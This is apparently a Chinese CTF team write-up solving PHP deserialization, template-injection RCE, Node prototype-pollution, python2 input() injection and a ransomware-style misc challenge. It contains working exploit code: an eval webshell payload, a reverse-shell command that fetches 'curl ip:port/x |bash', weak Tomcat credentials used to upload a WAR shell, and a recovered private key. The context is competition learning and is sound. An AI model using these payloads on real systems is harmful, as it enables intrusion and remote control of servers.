师傅们太太太太强了orz
感谢队友们带飞~~~
第一次在规模这么大的比赛拿到第一,开心~

Web

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

代码审计。
php多进程,主进程会等待子进程运行结束,子进程异常退出会触发phpinfo()
直接拿php函数列表fuzz。

以上函数均可导致子进程异常退出,随便找一个即可。

payload:

1
?a=fsockopen&b=123

flag在环境变量 ICQ_FLAG字段。

babyunserialize

扫描目录,存在源码泄漏www.zip
fatfree框架,版本3.7.2,最新版,目测0day。

首页提示反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//index.php
<?php

// Kickstart the framework
$f3=require('lib/base.php');

if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

$f3->route('GET /',
function($f3) {
echo "may be you need /?flag=";
}
);

unserialize($_GET['flag']);

$f3->run();

挖掘反序列化链,全局搜索__destruct,只有三处起点,最后选择\DB\Jig为起点。

1
2
3
4
5
6
7
8
9
10
11
class Jig{
/* ... */

function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}
}

跟进write方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}

调用\Base->write,继续跟进。

1
2
3
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

$file$data均可控,可以任意文件写。
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

namespace DB;

class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected $uuid, $dir, $format, $log, $data, $lazy;
function __construct()
{
$this->lazy=true;
$this->data=["shell.php"=>["<?php @eval(\$_POST['cmd']);?>"]];
$this->format=self::FORMAT_Serialized;
$this->dir="s";
}
}

echo urlencode(serialize(new Jig()));

写入shell后,读取phpinfo,flag在环境变量 ICQ_FLAG字段。

rceme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

题目自己实现了一个简单模板引擎,line 44 eval可以代码注入。
利用反引号``直接绕过过滤,执行命令。

起一个http服务器,写入反弹shell命令。

1
bash -c 'bash -i >/dev/tcp/ip/port 0>&1'

反弹shell

1
/?a={if:`curl ip:port/x |bash`}{end+if}

littlegame

set-value原型链污染。

Affecting set-value package, versions <2.0.1 || >=3.0.0 <3.0.1
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

POC:

1
2
3
const setFn = require('set-value');
setFn({},'__proto__.p1',"hacked");
console.log({}.p1);

题目版本是 3.0.0。
漏洞点在/route/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const setFn = require('set-value');

router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});

router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});

/Privilege处可以触发原型污染。污染后,按照路由请求,验证密钥即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}

router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}

});

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#-*-encoding: utf-8 -*-
import requests

url = "http://eci-2ze2t1c804gx99gt9c70.cloudeci1.ichunqiu.com:8888"
s = requests.Session()


def proto():
s.get(url + "/SpawnPoint")
r = s.post(url + "/Privilege", data={
"NewAttributeKey": "__proto__.ppp",
"NewAttributeValue": "hacked",
})
print(r.text)


def get_flag():
r = s.post(url + "/DeveloperControlPanel", data={
"key": "ppp",
"password": "hacked",
})
print(r.text)


if __name__ == '__main__':
proto()
get_flag()

easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

审计源码,需要两个变量,变量1先强转成string类型,然后两个变量需要强弱类型比较不相等且md5相等。

使用浮点数中的NAN即可绕过。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class trick{
public $trick1;
public $trick2;
function __construct()
{
$this->trick1="NAN";
$this->trick2=acos(8);
}
}

echo urlencode(serialize(new trick()));

Pwn

babyjsc

把pwn爷爷做自闭了,真的坑。

题目给了个docker 镜像,里面有个server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys
import tempfile
import os

size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()

temp = tempfile.mktemp()
with open(temp, "w") as f:
f.write(script)

# os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)

一看环境python2,完事了。
漏洞出在line 5的input()

python2 input() ⇒ python3 eval(input())

python2应该用raw_input()
不知道是出题人环境配错了,还是就是预期解。。

exp:

1
2
3
nc 101.200.53.148 13465
os.system("cat /home/ctf/flag")
flag{c4e39be1-666e-43c4-bf9c-3b44bd280275}

Misc

签到

所以最后凑出来十个澳门ip没有= =

the_best_ctf_game

随便找个notepad打开,直接就能看到flag。

WamaCry1

有个壳是 Enigma Virtual Box。
用脱壳器可以解压获得里面的东西。

逆向 son.exe 获得远程服务器的 ip 和端口。

WamaCry逻辑:
生成公私钥 -> 公钥加密文件,私钥上传至服务器

服务器ip 120.53.241.181,端口:12345。

nmap端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/test# nmap -A 120.53.241.181                                  

Starting Nmap 7.60 ( https://nmap.org ) at 2020-08-21 00:47 CST
Nmap scan report for 120.53.241.181
Host is up (0.0053s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f8:c3:8e:24:be:3e:a1:9a:03:ed:30:79:bf:e1:e2:40 (RSA)
| 256 f7:4e:55:e1:03:54:36:c5:18:4d:7c:fe:7b:2a:c0:63 (ECDSA)
|_ 256 de:de:aa:29:ff:5e:91:95:f4:71:16:8b:53:41:d6:35 (EdDSA)
25/tcp filtered smtp
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.43
12345/tcp open netbus?
Aggressive OS guesses: Linux 2.6.32 (92%), Linux 3.1 (91%), Linux 3.2 (91%), AXIS 210A or 21$
Network Camera (Linux 2.6.17) (90%), Linux 2.6.39 - 3.2 (89%), Linux 3.1 - 3.2 (89%), Linux
3.11 (89%), Linux 3.2 - 4.8 (89%), Linux 3.5 (89%), Linux 3.7 - 3.10 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 12 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8080端口存在tomcat服务,弱口令tomcat/tomcat进入后台。
上传war包,getshell。

/tmp目录下找到私钥,以及server,私钥格式不对。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cat /tmp/key/LAPTOP-9VJQL8JS

,----BEGIN RSA PRIVATE KEY-----
LIIEowIBAAKCAQEA1T3ObrdOxx1YTiGnugjwSLqqwf7sLUz+NSOszc59n+w38AS2
GniknxWCB+j8GJO9P/zzif3Y9UrgScQw6EtbCnrrH/hiOBU4ZcikQnMh/gXQrNCA
OG+BoHRriXrqMXC8az/9lFGw+J7JGgJvvBwNSgBXo0ILDCoVJJm0HI8UTC8X+Ajz
DS/9etXCybvos9nTOLOCZkL8Y6GK2H+W6/jU+uR1HYAg4KjsEjXlNxAg61hRPHBU
bKm+zNaku0NQJI/Ezujrm7Ukx9iz7D+ftt09rUT/wJl+hV9sOodRVTBRvvxX/6Ub
MTEr8a3GM/i43HQ9KbCDGCOomsPvumWYw4+BewIBAwKCAQEAjik0Sc+J2hOQNBZv
1VtK2yccgVSdc4ipeMJzM97+ap16oAMkDvsYag5Wr/CoEGJ+KqiiW/6Qo4dAMS11
9DI8sadHaqWW0A4lmTBtgaIWqVk1yIsAIvUBFaLyW6dGy6B9nNVTuDZ1+xSGEVb1
JBKzhqrlF4Fcssa4wxEivbS4MsjXxZ7hkzCCxQFSDvPhnzPNXrzPbxncv+BAgLdl
cTrnXbT0cv2/x3wPPE55FkHVgkcAn6ivlAJeLdKMOJnw0aT93ZEkb4wYWCey009b
CmBGqeatVC+r5+rqRFGCkqGmjGnaG9rNu87puTcqTU3mkSwGDILslRYne+7HzytV
@kwkmwKBgQD5nU6tK38+m7Jnu6/KIEQpMQBzNuZBj3U8uonJkNUyGsEz0wd73AUZ
B8H/YofgfF++ImobcrE9ctI0FZpZqTABqxJmnE5CDG5qH5SSKxprtF4R00j02BqO
r18Ed8GUQ9wrO2bToz7BM9n4Wt859DJlL+t9RV1o54G9/A7LCjlNHQKBgQDaskvz
hOf6t6Ff955MJMf1+ZfYCLXvtFvtXOK1N0tH05PSnfwFWWm8K/4wMyWAK44SKokx
o/T0FUieUMINQOhGV3zOWBS+Ny69j7QFAjJn+gzp7wkH0WR+IK4JAXxDqIFlmnYS
9DwMKAEOZSSlDn/O5wCi8yUEeVwGB5XONeP9dwKBgQCmaN8eHP9/Enbv0nUxatgb
egBMz0QrtPjTJwaGYI4hZyt34gT9PVi7XSv/lwVAUup+wZwSTHYo9zbNY7w7xiAB
ILbvEt7WsvRGv7hhchGdIulhN4X4kBG0d5StpSu4LT1yJ5nibNSAzTv65z97+CGY
xpz+Lj5F76vT/V8yBtDeEwKBgQCRzDKiW0VRz8DqpRQywy/5UQ/lWyP1Iufzk0HO
KNzajQ03E/1Y5kZ9cql1d25Vcl62xwYhFU34DjBpiywI1fAu5P3e5WMpeh8pCngD
WsxFUV3xSgYFNkL+wHQGAP2CcFZDvE63StKyxVYJmMMYtFU0mgBsohitpj1ZWmPe
{pf+TwKBgDqnjE+Gq3hkjaIVMFkWv2ewZtHRq3lQGkeV8f6QIdCO2VmrwatRd2oG
Vul4hH2TEq1nq+1bRCebICx/QsWhD9jJ898IcTTerI3eDEaY4fTulPN2xLtseCBK
INhT2+IjDyutA2wGxPT1AoUSIEF/txz8Q56hK7OzpaEo8UYHMTcM
,----END RSA PRIVATE KEY-----

cat /tmp/key/server
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AkAAAAAAAB.....(太长了)

逆向server。

server对传输文件每行的首个字符异或1。
将获取到的密钥每行首个字符异或1,还原私钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA1T3ObrdOxx1YTiGnugjwSLqqwf7sLUz+NSOszc59n+w38AS2
FniknxWCB+j8GJO9P/zzif3Y9UrgScQw6EtbCnrrH/hiOBU4ZcikQnMh/gXQrNCA
NG+BoHRriXrqMXC8az/9lFGw+J7JGgJvvBwNSgBXo0ILDCoVJJm0HI8UTC8X+Ajz
ES/9etXCybvos9nTOLOCZkL8Y6GK2H+W6/jU+uR1HYAg4KjsEjXlNxAg61hRPHBU
cKm+zNaku0NQJI/Ezujrm7Ukx9iz7D+ftt09rUT/wJl+hV9sOodRVTBRvvxX/6Ub
LTEr8a3GM/i43HQ9KbCDGCOomsPvumWYw4+BewIBAwKCAQEAjik0Sc+J2hOQNBZv
0VtK2yccgVSdc4ipeMJzM97+ap16oAMkDvsYag5Wr/CoEGJ+KqiiW/6Qo4dAMS11
8DI8sadHaqWW0A4lmTBtgaIWqVk1yIsAIvUBFaLyW6dGy6B9nNVTuDZ1+xSGEVb1
KBKzhqrlF4Fcssa4wxEivbS4MsjXxZ7hkzCCxQFSDvPhnzPNXrzPbxncv+BAgLdl
bTrnXbT0cv2/x3wPPE55FkHVgkcAn6ivlAJeLdKMOJnw0aT93ZEkb4wYWCey009b
BmBGqeatVC+r5+rqRFGCkqGmjGnaG9rNu87puTcqTU3mkSwGDILslRYne+7HzytV
AkwkmwKBgQD5nU6tK38+m7Jnu6/KIEQpMQBzNuZBj3U8uonJkNUyGsEz0wd73AUZ
C8H/YofgfF++ImobcrE9ctI0FZpZqTABqxJmnE5CDG5qH5SSKxprtF4R00j02BqO
s18Ed8GUQ9wrO2bToz7BM9n4Wt859DJlL+t9RV1o54G9/A7LCjlNHQKBgQDaskvz
iOf6t6Ff955MJMf1+ZfYCLXvtFvtXOK1N0tH05PSnfwFWWm8K/4wMyWAK44SKokx
n/T0FUieUMINQOhGV3zOWBS+Ny69j7QFAjJn+gzp7wkH0WR+IK4JAXxDqIFlmnYS
8DwMKAEOZSSlDn/O5wCi8yUEeVwGB5XONeP9dwKBgQCmaN8eHP9/Enbv0nUxatgb
dgBMz0QrtPjTJwaGYI4hZyt34gT9PVi7XSv/lwVAUup+wZwSTHYo9zbNY7w7xiAB
HLbvEt7WsvRGv7hhchGdIulhN4X4kBG0d5StpSu4LT1yJ5nibNSAzTv65z97+CGY
ypz+Lj5F76vT/V8yBtDeEwKBgQCRzDKiW0VRz8DqpRQywy/5UQ/lWyP1Iufzk0HO
JNzajQ03E/1Y5kZ9cql1d25Vcl62xwYhFU34DjBpiywI1fAu5P3e5WMpeh8pCngD
VsxFUV3xSgYFNkL+wHQGAP2CcFZDvE63StKyxVYJmMMYtFU0mgBsohitpj1ZWmPe
zpf+TwKBgDqnjE+Gq3hkjaIVMFkWv2ewZtHRq3lQGkeV8f6QIdCO2VmrwatRd2oG
Wul4hH2TEq1nq+1bRCebICx/QsWhD9jJ898IcTTerI3eDEaY4fTulPN2xLtseCBK
HNhT2+IjDyutA2wGxPT1AoUSIEF/txz8Q56hK7OzpaEo8UYHMTcM
-----END RSA PRIVATE KEY-----

解密得到flag。

1
2
3
λ openssl rsautl -decrypt -in flag.555555555555584648686 -inkey go.key -out hello.de
λ cat hello.de
flag{27bc3599-ec9f-4bc0-b007-bfbcfc6d9fab}